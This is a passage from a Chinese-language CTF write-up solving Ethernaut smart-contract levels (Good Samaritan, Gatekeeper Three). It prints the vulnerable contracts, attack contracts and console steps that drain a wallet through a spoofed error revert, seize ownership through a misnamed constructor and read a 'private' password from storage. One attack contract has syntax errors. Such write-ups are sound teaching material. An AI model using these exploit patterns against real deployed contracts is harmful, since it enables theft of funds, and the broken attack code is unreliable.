selector = '0x9e927c68'
param = web3.utils.padLeft(detectionBotAddress, 64)
await web3.eth.sendTransaction({from: player, to: fortaAddress, data: selector + param})
Good Samaritan
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
**通关条件:**将合约Wallet中的余额变为零。
想要将其清零,要么每次获取10个,要么触发异常,使得wallet.transferRemainder(msg.sender)能够被执行,前面的方式不现实,因为合约Wallet中的余额被初始化为$10^6$,而后者关键在于如何能够触发异常。
观察Coin合约,我们可以知道,当转账方是一个合约账号时候,会尝试运行其notify函数,也就是说这一点我们是可以控制的。
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface INotifyable {
function notify(uint256 amount) external;
}
contract GoodSamaritanAttack is INotifyable{
error NotEnoughBalance();
address instance public;
constructor(address _instance){
instance = _instance;
}
function attack()public{
(bool success, _) = instance.call(
abi.encodeWithSignature("requestDonation()")
);
require(success);
}
function notify(uint256 amount) external{
if(amount == 10){
revert NotEnoughBalance();
}
}
}
Gatekeeper Three
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allow_enterance = false;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allow_enterance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allow_enterance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree returns (bool entered) {
entrant = tx.origin;
return true;
}
receive () external payable {}
}
**通关条件:**成功调用enter,并将entrant修改为我们的地址。
gateOne有两个条件对于第二个条件,我们借助一个攻击合约即可,即合约地址作为owner,攻击合约想要成为owner,直接调用假的构造函数即可。
对于gateTwo,我们需要调用getAllowance函数并传入一个密码,而该秘密存放在合约SimpleTrick 中,虽然是private类型,但是我们可以通关web3.eth.getStorageAt(address,index)的方式获取。
对于gateThree,需要合约GatekeeperThree 中的以太币大于0.001,且要求该合约向owner,即我们的攻击合约转账时候失败,那我们直接将我们的合约设置成拒绝接收以太币即可,攻击合约如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperThreeAttack{
address public instance;
constructor(address _instance){
instance = _instance;
}
function beOwner()public{
(bool success, bytes memory data) = instance.call(
abi.encodeWithSignature("construct0r()")
);
require(success);
}
function change_allow_enterance(uint pwd)public{
(bool success, bytes memory data) = instance.call(
abi.encodeWithSignature("getAllowance(uint256)", pwd)
);
require(success);
}
function attack()public{
(bool success, bytes memory data) = instance.call(
abi.encodeWithSignature("enter()")
);
require(success);
}
}
部署上面攻击合约后,先调用beOwner函数,将攻击合约变成GatekeeperThree的owner。
然后我们在控制台中,输入以下内容,部署一个SimpleTrick合约:
await contract.createTrick()
然后获取其地址:
await contract.trick()
// '0xe5CD5D17bA2E5A4d68982FdB47FC28E933d9B5Fa'
获取其内的密码:
await web3.eth.getStorageAt('0xe5CD5D17bA2E5A4d68982FdB47FC28E933d9B5Fa',2)
// '0x0000000000000000000000000000000000000000000000000000000064196c58'
然后调用攻击合约中的change_allow_enterance,并将0x64196c58传入,确保allow_enterance为真
await contract.allow_enterance() == true
然后向GatekeeperThree 转入0.0011以太币,确保到账
await getBalance(instance)
// 0.0011
然后调用攻击合约中的attack函数,确保调用正常:
await contract.entrant() == player
// true
写在最后
磕磕碰碰,花了一个多月,终于完(chao)成(wan)了所有关卡了,许多关卡设计得挺有意思的,但是有些关卡难度不是一般大😭。
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!
